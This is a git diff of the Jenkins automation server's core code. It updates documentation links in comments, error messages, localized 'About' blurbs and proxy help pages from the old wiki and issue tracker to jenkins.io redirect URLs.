d430630b88..ade4ce93c8 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -1064,7 +1064,7 @@ public abstract class Launcher { * A launcher which delegates to a provided inner launcher. * Allows subclasses to only implement methods they want to override. * Originally, this launcher has been implemented in - * + * * Custom Tools Plugin. * * @author rcampbell diff --git a/core/src/main/java/hudson/Plugin.java b/core/src/main/java/hudson/Plugin.java index bfe8e0fbe4..5406fb21cb 100644 --- a/core/src/main/java/hudson/Plugin.java +++ b/core/src/main/java/hudson/Plugin.java @@ -53,8 +53,8 @@ import org.kohsuke.stapler.HttpResponses; *

                                                    * A plugin may {@linkplain #Plugin derive from this class}, or it may directly define extension * points annotated with {@link hudson.Extension}. For a list of extension - * points, see - * https://wiki.jenkins-ci.org/display/JENKINS/Extension+points. + * points, see + * https://jenkins.io/redirect/developer/extension-points. * *

                                                    * One instance of a plugin is created by Hudson, and used as the entry point diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index 8561bdbd64..d5f82a6511 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -318,7 +318,7 @@ public abstract class Proc { try { int r = proc.waitFor(); - // see http://wiki.jenkins-ci.org/display/JENKINS/Spawning+processes+from+build + // see https://jenkins.io/redirect/troubleshooting/process-leaked-file-descriptors // problems like that shows up as infinite wait in join(), which confuses great many users. // So let's do a timed wait here and try to diagnose the problem if (copier!=null) copier.join(10*1000); @@ -326,7 +326,7 @@ public abstract class Proc { if((copier!=null && copier.isAlive()) || (copier2!=null && copier2.isAlive())) { // looks like handles are leaking. // closing these handles should terminate the threads. - String msg = "Process leaked file descriptors. See http://wiki.jenkins-ci.org/display/JENKINS/Spawning+processes+from+build for more information"; + String msg = "Process leaked file descriptors. See https://jenkins.io/redirect/troubleshooting/process-leaked-file-descriptors for more information"; Throwable e = new Exception().fillInStackTrace(); LOGGER.log(Level.WARNING,msg,e); @@ -503,7 +503,7 @@ public abstract class Proc { /** * An instance of {@link Proc}, which has an internal workaround for JENKINS-23271. * It presumes that the instance of the object is guaranteed to be used after the {@link Proc#join()} call. - * See JENKINS-23271> + * See JENKINS-23271> * @author Oleg Nenashev */ @Restricted(NoExternalUse.class) diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 4662084ad1..bc5d2ea4c5 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -319,7 +319,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { public Channel checkChannel() throws AbortException { if (channel==null) - throw new AbortException("This command can only run with Jenkins CLI. See https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+CLI"); + throw new AbortException("This command can only run with Jenkins CLI. See https://jenkins.io/redirect/cli-command-requires-channel"); return channel; } diff --git a/core/src/main/java/hudson/model/Descriptor.java b/core/src/main/java/hudson/model/Descriptor.java index 461520cc27..2db2873fac 100644 --- a/core/src/main/java/hudson/model/Descriptor.java +++ b/core/src/main/java/hudson/model/Descriptor.java @@ -200,11 +200,11 @@ public abstract class Descriptor> implements Saveable, public Descriptor getItemTypeDescriptorOrDie() { Class it = getItemType(); if (it == null) { - throw new AssertionError(clazz + " is not an array/collection type in " + displayName + ". See https://wiki.jenkins-ci.org/display/JENKINS/My+class+is+missing+descriptor"); + throw new AssertionError(clazz + " is not an array/collection type in " + displayName + ". See https://jenkins.io/redirect/developer/class-is-missing-descriptor"); } Descriptor d = Jenkins.getInstance().getDescriptor(it); if (d==null) - throw new AssertionError(it +" is missing its descriptor in "+displayName+". See https://wiki.jenkins-ci.org/display/JENKINS/My+class+is+missing+descriptor"); + throw new AssertionError(it +" is missing its descriptor in "+displayName+". See https://jenkins.io/redirect/developer/class-is-missing-descriptor"); return d; } diff --git a/core/src/main/java/hudson/model/FileParameterValue.java b/core/src/main/java/hudson/model/FileParameterValue.java index 817b671415..16777ea6be 100644 --- a/core/src/main/java/hudson/model/FileParameterValue.java +++ b/core/src/main/java/hudson/model/FileParameterValue.java @@ -163,7 +163,7 @@ public class FileParameterValue extends ParameterValue { /** * Compares file parameters (existing files will be considered as different). - * @since 1.586 Function has been modified in order to avoid JENKINS-19017 issue (wrong merge of builds in the queue). + * @since 1.586 Function has been modified in order to avoid JENKINS-19017 issue (wrong merge of builds in the queue). */ @Override public boolean equals(Object obj) { diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 11720e9cfb..ca27cac69b 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -1593,8 +1593,8 @@ public class Queue extends ResourceController implements Saveable { // of isBuildBlocked(p) will become a bottleneck before updateSnapshot() will. Additionally // since the snapshot itself only ever has at most one reference originating outside of the stack // it should remain in the eden space and thus be cheap to GC. - // See https://issues.jenkins-ci.org/browse/JENKINS-27708?focusedCommentId=225819&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225819 - // or https://issues.jenkins-ci.org/browse/JENKINS-27708?focusedCommentId=225906&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225906 + // See https://jenkins-ci.org/issue/27708?focusedCommentId=225819&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225819 + // or https://jenkins-ci.org/issue/27708?focusedCommentId=225906&page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel#comment-225906 // for alternative fixes of this issue. updateSnapshot(); } diff --git a/core/src/main/java/hudson/model/Slave.java b/core/src/main/java/hudson/model/Slave.java index 2410028217..0835e66ec2 100644 --- a/core/src/main/java/hudson/model/Slave.java +++ b/core/src/main/java/hudson/model/Slave.java @@ -87,7 +87,7 @@ import org.kohsuke.stapler.StaplerResponse; * On February, 2016 a general renaming was done internally: the "slave" term was replaced by * "Agent". This change was applied in: UI labels/HTML pages, javadocs and log messages. * Java classes, fields, methods, etc were not renamed to avoid compatibility issues. - * See JENKINS-27268. + * See JENKINS-27268. * * @author Kohsuke Kawaguchi */ diff --git a/core/src/main/java/hudson/util/ArgumentListBuilder.java b/core/src/main/java/hudson/util/ArgumentListBuilder.java index 255208737a..8023fa77d0 100644 --- a/core/src/main/java/hudson/util/ArgumentListBuilder.java +++ b/core/src/main/java/hudson/util/ArgumentListBuilder.java @@ -233,7 +233,7 @@ public class ArgumentListBuilder implements Serializable, Cloneable { * * @param original Resolution will be delegated to this resolver. Resolved * values will be escaped afterwards. - * @see JENKINS-10539 + * @see JENKINS-10539 */ private static VariableResolver propertiesGeneratingResolver(final VariableResolver original) { diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index b81cfcdd2e..f851729a4c 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -1201,7 +1201,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, arguments.add(m.readString()); } } catch (IndexOutOfBoundsException e) { - throw new IllegalStateException("Failed to parse arguments: pid="+pid+", arg0="+args0+", arguments="+arguments+", nargs="+argc+". Please run 'ps e "+pid+"' and report this to https://issues.jenkins-ci.org/browse/JENKINS-9634",e); + throw new IllegalStateException("Failed to parse arguments: pid="+pid+", arg0="+args0+", arguments="+arguments+", nargs="+argc+". Please see https://jenkins.io/redirect/troubleshooting/darwin-failed-to-parse-arguments",e); } // read env vars that follow diff --git a/core/src/main/java/jenkins/model/RunIdMigrator.java b/core/src/main/java/jenkins/model/RunIdMigrator.java index 5675d8ab4a..eb6bc83c34 100644 --- a/core/src/main/java/jenkins/model/RunIdMigrator.java +++ b/core/src/main/java/jenkins/model/RunIdMigrator.java @@ -166,7 +166,7 @@ public final class RunIdMigrator { doMigrate(dir); save(dir); if (jenkinsHome != null && offeredToUnmigrate.add(jenkinsHome)) - LOGGER.log(WARNING, "Build record migration (https://wiki.jenkins-ci.org/display/JENKINS/JENKINS-24380+Migration) is one-way. If you need to downgrade Jenkins, run: {0}", getUnmigrationCommandLine(jenkinsHome)); + LOGGER.log(WARNING, "Build record migration (https://jenkins.io/redirect/build-record-migration) is one-way. If you need to downgrade Jenkins, run: {0}", getUnmigrationCommandLine(jenkinsHome)); return true; } diff --git a/core/src/main/java/jenkins/model/item_category/ItemCategory.java b/core/src/main/java/jenkins/model/item_category/ItemCategory.java index 6efdefd2f8..1f80cc82a1 100644 --- a/core/src/main/java/jenkins/model/item_category/ItemCategory.java +++ b/core/src/main/java/jenkins/model/item_category/ItemCategory.java @@ -44,7 +44,7 @@ public abstract class ItemCategory implements ExtensionPoint { * This field indicates how much non-default categories are required in * order to start showing them in Jenkins. * This field is restricted for the internal use only, because all other changes would cause binary compatibility issues. - * See JENKINS-36593 for more info. + * See JENKINS-36593 for more info. */ @Restricted(NoExternalUse.class) public static int MIN_TOSHOW = 1; diff --git a/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java b/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java index f9bd660a21..8dbdc8ab89 100644 --- a/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java +++ b/core/src/main/java/jenkins/slaves/restarter/WinswSlaveRestarter.java @@ -52,7 +52,7 @@ public class WinswSlaveRestarter extends SlaveRestarter { // this command. If that is the case, there's nothing we can do about it. int r = exec("restart!"); throw new IOException("Restart failure. '"+exe+" restart' completed with "+r+" but I'm still alive! " - + "See https://wiki.jenkins-ci.org/display/JENKINS/Distributed+builds#Distributedbuilds-Windowsslaveserviceupgrades" + + "See https://jenkins.io/redirect/troubleshooting/windows-agent-restart" + " for a possible explanation and solution"); } diff --git a/core/src/main/resources/hudson/AboutJenkins/index.properties b/core/src/main/resources/hudson/AboutJenkins/index.properties index 5bb26ae164..33e9a29740 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=About Jenkins {0} -blurb=Jenkins is a community-developed open-source automation server. +blurb=Jenkins is a community-developed open-source automation server. dependencies=Jenkins depends on the following 3rd party libraries plugin.dependencies=License and dependency information for plugins diff --git a/core/src/main/resources/hudson/AboutJenkins/index_cs.properties b/core/src/main/resources/hudson/AboutJenkins/index_cs.properties index 5d65f6c53b..c31e32c160 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_cs.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_cs.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors -blurb=Jenkins je komunitou vyv\u00EDjen\u00FD server pr\u016Fb\u011B\u017En\u00E9 integrace s otev\u0159en\u00FDm zdrojov\u00FDm k\u00F3dem. +blurb=Jenkins je komunitou vyv\u00EDjen\u00FD server pr\u016Fb\u011B\u017En\u00E9 integrace s otev\u0159en\u00FDm zdrojov\u00FDm k\u00F3dem. dependencies=Jenkins z\u00E1vis\u00ED na n\u00E1sleduj\u00EDc\u00EDch knihovn\u00E1ch 3. stran. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_da.properties b/core/src/main/resources/hudson/AboutJenkins/index_da.properties index fad7253196..a97dcba293 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_da.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_da.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Om Jenkins {0} -blurb=Jenkins er en f\u00E6llesskab udviklede open-source continuous integration server. +blurb=Jenkins er en f\u00E6llesskab udviklede open-source continuous integration server. dependencies=Jenkins afh\u00E6nger af de f\u00F8lgende 3. parts libraries diff --git a/core/src/main/resources/hudson/AboutJenkins/index_de.properties b/core/src/main/resources/hudson/AboutJenkins/index_de.properties index c35a151a6d..1d0626fd82 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_de.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_de.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=\u00DCber Jenkins {0} -blurb=Jenkins ist ein Open Source Continuous Integration Server. +blurb=Jenkins ist ein Open Source Continuous Integration Server. dependencies=Jenkins benutzt folgende Dritthersteller-Bibliotheken. No\ information\ recorded=Keine Informationen verf\u00FCgbar diff --git a/core/src/main/resources/hudson/AboutJenkins/index_es.properties b/core/src/main/resources/hudson/AboutJenkins/index_es.properties index c86fbea162..d58fbc63eb 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_es.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_es.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Acerca de Jenkins {0} -blurb=Jenkins un servidor de Integraci\u00F3n Cont\u00EDnua, de c\u00F3digo abierto y desarrollado en comunidad. +blurb=Jenkins un servidor de Integraci\u00F3n Cont\u00EDnua, de c\u00F3digo abierto y desarrollado en comunidad. dependencies=Jenkins depende de las siguientes librerias de terceros. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_fi.properties b/core/src/main/resources/hudson/AboutJenkins/index_fi.properties index a182a18565..7f78e833b9 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_fi.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_fi.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Tietoja Jenkinsist\u00E4 {0} -blurb=Jenkins on yhteis\u00F6kehitteinen, avoimen l\u00E4hdekoodin jatkuvan integroinnin palvelinohjelmisto +blurb=Jenkins on yhteis\u00F6kehitteinen, avoimen l\u00E4hdekoodin jatkuvan integroinnin palvelinohjelmisto dependencies=Jenkins k\u00E4ytt\u00E4\u00E4 seuraavia kolmannen osapuolen kirjastoja diff --git a/core/src/main/resources/hudson/AboutJenkins/index_fr.properties b/core/src/main/resources/hudson/AboutJenkins/index_fr.properties index e58703411e..d4d9f46e11 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_fr.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_fr.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=A propos de Jenkins {0} -blurb=Jenkins est un serveur d''int\u00e9gration continue d\u00e9velopp\u00e9 par la communaut\u00e9 open-source. +blurb=Jenkins est un serveur d''int\u00e9gration continue d\u00e9velopp\u00e9 par la communaut\u00e9 open-source. dependencies=Jenkins d\u00e9pend des librairies externes suivantes plugin.dependencies=Licence et informations de d\u00e9pendance pour les plugins : diff --git a/core/src/main/resources/hudson/AboutJenkins/index_hu.properties b/core/src/main/resources/hudson/AboutJenkins/index_hu.properties index 2d047c885b..d9057950b3 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_hu.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_hu.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors about=Jenkins {0} N\u00E9vjegye -blurb=Jenkins egy k\u00F6z\u00F6ss\u00E9gi fejleszt\u00E9s\u0171, ny\u00EDlt forr\u00E1s\u00FA CI szerver. +blurb=Jenkins egy k\u00F6z\u00F6ss\u00E9gi fejleszt\u00E9s\u0171, ny\u00EDlt forr\u00E1s\u00FA CI szerver. dependencies=Jenking a k\u00F6vetkez\u0151 3. f\u00E9lt\u0151l sz\u00E1rmaz\u00F3 k\u00F6nyvt\u00E1rakt\u00F3l f\u00FCgg. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_it.properties b/core/src/main/resources/hudson/AboutJenkins/index_it.properties index f4b786b035..22a3db714d 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_it.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_it.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors about=Informazioni su Jenkins {0} -blurb=Jenkins \u00E8 un server di "continuous integration" a codice aperto sviluppato da una comunit\u00E0. +blurb=Jenkins \u00E8 un server di "continuous integration" a codice aperto sviluppato da una comunit\u00E0. dependencies=Jenkins dipende dalle seguenti librerie di terze parti. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_ja.properties b/core/src/main/resources/hudson/AboutJenkins/index_ja.properties index d4c5b5f961..5f4a40a4c0 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_ja.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_ja.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=Jenkins {0} \u306b\u3064\u3044\u3066 -blurb=Jenkins \u306f\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u3067\u958b\u767a\u3055\u308c\u3066\u3044\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306eCI\u30b5\u30fc\u30d0\u3067\u3059\u3002 +blurb=Jenkins \u306f\u30b3\u30df\u30e5\u30cb\u30c6\u30a3\u3067\u958b\u767a\u3055\u308c\u3066\u3044\u308b\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u306eCI\u30b5\u30fc\u30d0\u3067\u3059\u3002 dependencies=Jenkins \u306F\u6B21\u306E\u30B5\u30FC\u30C9\u30D1\u30FC\u30C6\u30A3\u306E\u30E9\u30A4\u30D6\u30E9\u30EA\u3092\u4F7F\u7528\u3057\u3066\u3044\u307E\u3059\u3002 plugin.dependencies=\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30e9\u30a4\u30bb\u30f3\u30b9\u3068\u4f9d\u5b58\u6027: diff --git a/core/src/main/resources/hudson/AboutJenkins/index_lt.properties b/core/src/main/resources/hudson/AboutJenkins/index_lt.properties index e99d3c32fe..a46c3ea780 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_lt.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_lt.properties @@ -1,5 +1,5 @@ about=Apie Jenkins {0} -blurb=Jenkins - bendruomen\u0117s kuriamas atviro kodo pastovios integracijos (CIS) serveris. +blurb=Jenkins - bendruomen\u0117s kuriamas atviro kodo pastovios integracijos (CIS) serveris. dependencies=Jenkins priklauso nuo \u0161i\u0173 3-\u0173j\u0173 \u0161ali\u0173 bibliotek\u0173. plugin.dependencies=Pried\u0173 licencijos ir priklausomybi\u0173 informacija static.dependencies=Statiniai resursai diff --git a/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties b/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties index 1cd9084adc..fdd1020a6c 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_nb_NO.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=Om Jenkins -blurb=Jenkins er en fellesskaps-utviklet, \u00E5pen kildekode kontinuerlig integrasjonsserver. +blurb=Jenkins er en fellesskaps-utviklet, \u00E5pen kildekode kontinuerlig integrasjonsserver. dependencies=Jenkins benytter f\u00F8lgende tredjeparts-biblioteker. diff --git a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties index 4d44c42119..3fc4d0a8c8 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. about=O Jenkinsie {0} -blurb=Jenkins jest rozwijanym przez spo\u0142eczno\u015B\u0107 open-source serwerem Continuous Integration +blurb=Jenkins jest rozwijanym przez spo\u0142eczno\u015B\u0107 open-source serwerem Continuous Integration dependencies=Jenkins jest oparty na nast\u0119puj\u0105cych zewn\u0119trznych bibliotekach: plugin.dependencies=Informacja o licencji i zale\u017Cno\u015Bci plugin\u00F3w: static.dependencies=Statyczne zasoby diff --git a/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties b/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties index 1b3eae7474..9f6b73ebfa 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_pt_BR.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. about=Sobre o Jenkins {0} -blurb=Jenkins \u00E9 um servidor de aplica\u00E7\u00E3o cont\u00EDnua desenvolvido em modo open-source pela comunidade. +blurb=Jenkins \u00E9 um servidor de aplica\u00E7\u00E3o cont\u00EDnua desenvolvido em modo open-source pela comunidade. dependencies=Jenkins depende das seguintes depend\u00EAncias de terceiros: No\ information\ recorded=Nenhuma informa\u00e7\u00e3o registrada # License and dependency information for plugins: diff --git a/core/src/main/resources/hudson/AboutJenkins/index_ru.properties b/core/src/main/resources/hudson/AboutJenkins/index_ru.properties index 295096a453..5512833e3e 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_ru.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_ru.properties @@ -21,6 +21,6 @@ # THE SOFTWARE. about=\u041E Jenkins {0} -blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u043D\u0435\u043F\u0440\u0435\u0440\u044B\u0432\u043D\u043E\u0439 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0438\u0441\u0445\u043E\u0434\u043D\u044B\u043C \u043A\u043E\u0434\u043E\u043C. +blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u043D\u0435\u043F\u0440\u0435\u0440\u044B\u0432\u043D\u043E\u0439 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 \u0441 \u043E\u0442\u043A\u0440\u044B\u0442\u044B\u043C \u0438\u0441\u0445\u043E\u0434\u043D\u044B\u043C \u043A\u043E\u0434\u043E\u043C. dependencies=Jenkins \u0438\u0441\u043F\u043E\u043B\u044C\u0437\u0443\u0435\u0442 \u0441\u043B\u0435\u0434\u0443\u044E\u0449\u0438\u0435 \u0441\u0442\u043E\u0440\u043E\u043D\u043D\u0438\u0435 \u0431\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0438. plugin.dependencies=\u0418\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u044F \u043E \u043B\u0438\u0446\u0435\u043D\u0437\u0438\u044F\u0445 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043C\u043E\u0441\u0442\u044F\u0445 \u043F\u043B\u0430\u0433\u0438\u043D\u043E\u0432: diff --git a/core/src/main/resources/hudson/AboutJenkins/index_sr.properties b/core/src/main/resources/hudson/AboutJenkins/index_sr.properties index c490046deb..5c3d7a7bbf 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_sr.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors about=\u041E Jenkins-\u0443 {0} -blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430 \u043A\u043E\u043D\u0442\u0438\u043D\u0443\u0438\u0440\u0430\u043D\u0443 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0443 \u0441\u0430 \u043E\u0442\u0432\u043E\u0440\u0435\u043D\u0438\u043C \u0438\u0437\u0432\u043E\u0440\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C. +blurb=Jenkins \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u0430 \u043A\u043E\u043D\u0442\u0438\u043D\u0443\u0438\u0440\u0430\u043D\u0443 \u0438\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0458\u0443 \u0441\u0430 \u043E\u0442\u0432\u043E\u0440\u0435\u043D\u0438\u043C \u0438\u0437\u0432\u043E\u0440\u043D\u0438\u043C \u043A\u043E\u0434\u043E\u043C. dependencies=Jenkins \u0437\u0430\u0432\u0438\u0441\u0438 \u043E\u0434 \u0441\u0442\u0440\u0430\u043D\u0438\u0445 \u0431\u0438\u0431\u043B\u0438\u043E\u0442\u0435\u043A\u0430 No\ information\ recorded=\u041D\u0435\u043C\u0430 \u0438\u043D\u0444\u043E\u0440\u043C\u0430\u0446\u0438\u0458\u0435 static.dependencies=\u0421\u0442\u0430\u0442\u0443\u0447\u043A\u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u0438 diff --git a/core/src/main/resources/hudson/AboutJenkins/index_uk.properties b/core/src/main/resources/hudson/AboutJenkins/index_uk.properties index b8d02b4edf..90f70bb94a 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_uk.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_uk.properties @@ -1,5 +1,5 @@ # This file is under the MIT License by authors about=\u041F\u0440\u043E \u0414\u0436\u0435\u043D\u043A\u0456\u043A\u0441 -blurb=\u0414\u0436\u0435\u043D\u043A\u0456\u043D\u0441 \u0454 \u0441\u0435\u0440\u0432\u0435\u0440\u043E\u043C \u0431\u0435\u0437\u043F\u0435\u0440\u0435\u0440\u0432\u043D\u043E\u0457 \u0456\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0456\u0457 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u043A\u043E\u0434\u043E\u043C \u0440\u043E\u0437\u0440\u043E\u0431\u043B\u044E\u0432\u0430\u043D\u0438\u0439 \u0441\u043F\u0456\u043B\u044C\u043D\u043E\u0442\u043E\u044E. +blurb=\u0414\u0436\u0435\u043D\u043A\u0456\u043D\u0441 \u0454 \u0441\u0435\u0440\u0432\u0435\u0440\u043E\u043C \u0431\u0435\u0437\u043F\u0435\u0440\u0435\u0440\u0432\u043D\u043E\u0457 \u0456\u043D\u0442\u0435\u0433\u0440\u0430\u0446\u0456\u0457 \u0437 \u0432\u0456\u0434\u043A\u0440\u0438\u0442\u0438\u043C \u043A\u043E\u0434\u043E\u043C \u0440\u043E\u0437\u0440\u043E\u0431\u043B\u044E\u0432\u0430\u043D\u0438\u0439 \u0441\u043F\u0456\u043B\u044C\u043D\u043E\u0442\u043E\u044E. dependencies=\u0414\u0436\u0435\u043D\u043A\u0456\u043D\u0441 \u043C\u0430\u0454 \u0437\u0430\u043B\u0435\u0436\u043D\u043E\u0441\u0442\u0456 \u0432\u0456\u0434 \u043D\u0430\u0442\u0443\u043F\u043D\u0438\u0445 diff --git a/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties b/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties index 713451482a..2678d4a342 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_zh_CN.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=\u5173\u4E8EJenkins{0} -blurb=Jenkins\u662F\u4E00\u4E2A\u57FA\u4E8E\u793E\u533A\u5F00\u53D1\u7684\u5F00\u6E90\u6301\u7EED\u96C6\u6210\u670D\u52A1\u5668 +blurb=Jenkins\u662F\u4E00\u4E2A\u57FA\u4E8E\u793E\u533A\u5F00\u53D1\u7684\u5F00\u6E90\u6301\u7EED\u96C6\u6210\u670D\u52A1\u5668 dependencies=Jenkins\u4F9D\u8D56\u4E8E\u4EE5\u4E0B\u7B2C\u4E09\u65B9\u5E93 diff --git a/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties b/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties index 8003b81289..2b9701f4e2 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_zh_TW.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. about=\u95DC\u65BC Jenkins {0} -blurb=Jenkins \u662F\u793E\u7FA4\u958B\u767C\u7684\u958B\u653E\u539F\u59CB\u78BC\u6301\u7E8C\u6574\u5408\u4F3A\u670D\u5668\u3002 +blurb=Jenkins \u662F\u793E\u7FA4\u958B\u767C\u7684\u958B\u653E\u539F\u59CB\u78BC\u6301\u7E8C\u6574\u5408\u4F3A\u670D\u5668\u3002 dependencies=Jenkins \u76F8\u4F9D\u65BC\u4E0B\u5217\u7B2C\u4E09\u65B9\u51FD\u5F0F\u5EAB\u3002 diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html index a0421a7792..91f8dbd8c1 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost.html @@ -1,4 +1,4 @@

                                                    Specify host name patterns that shouldn't go through the proxy, one host per line. - "*" is the wild card host name (such as "*.cloudbees.com" or "www*.jenkins-ci.org") + "*" is the wild card host name (such as "*.jenkins.io" or "www*.jenkins-ci.org")
                                                    \ No newline at end of file diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html index d47178d1e4..7305964880 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_de.html @@ -2,5 +2,5 @@ Geben Sie Servernamen-Muster an, die nicht über den Proxy abgerufen werden sollen. Geben Sie einen Eintrag pro Zeile ein. Verwenden Sie gegebenenfalls das Jokerzeichen "*", um Gruppen von Servern anzugeben - (wie in "*.cloudbees.com" or "www*.jenkins-ci.org") + (wie in "*.jenkins.io" or "www*.jenkins-ci.org") diff --git a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html index 76705e6eef..c349cc67b5 100644 --- a/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html +++ b/core/src/main/resources/hudson/ProxyConfiguration/help-noProxyHost_ja.html @@ -1,4 +1,4 @@
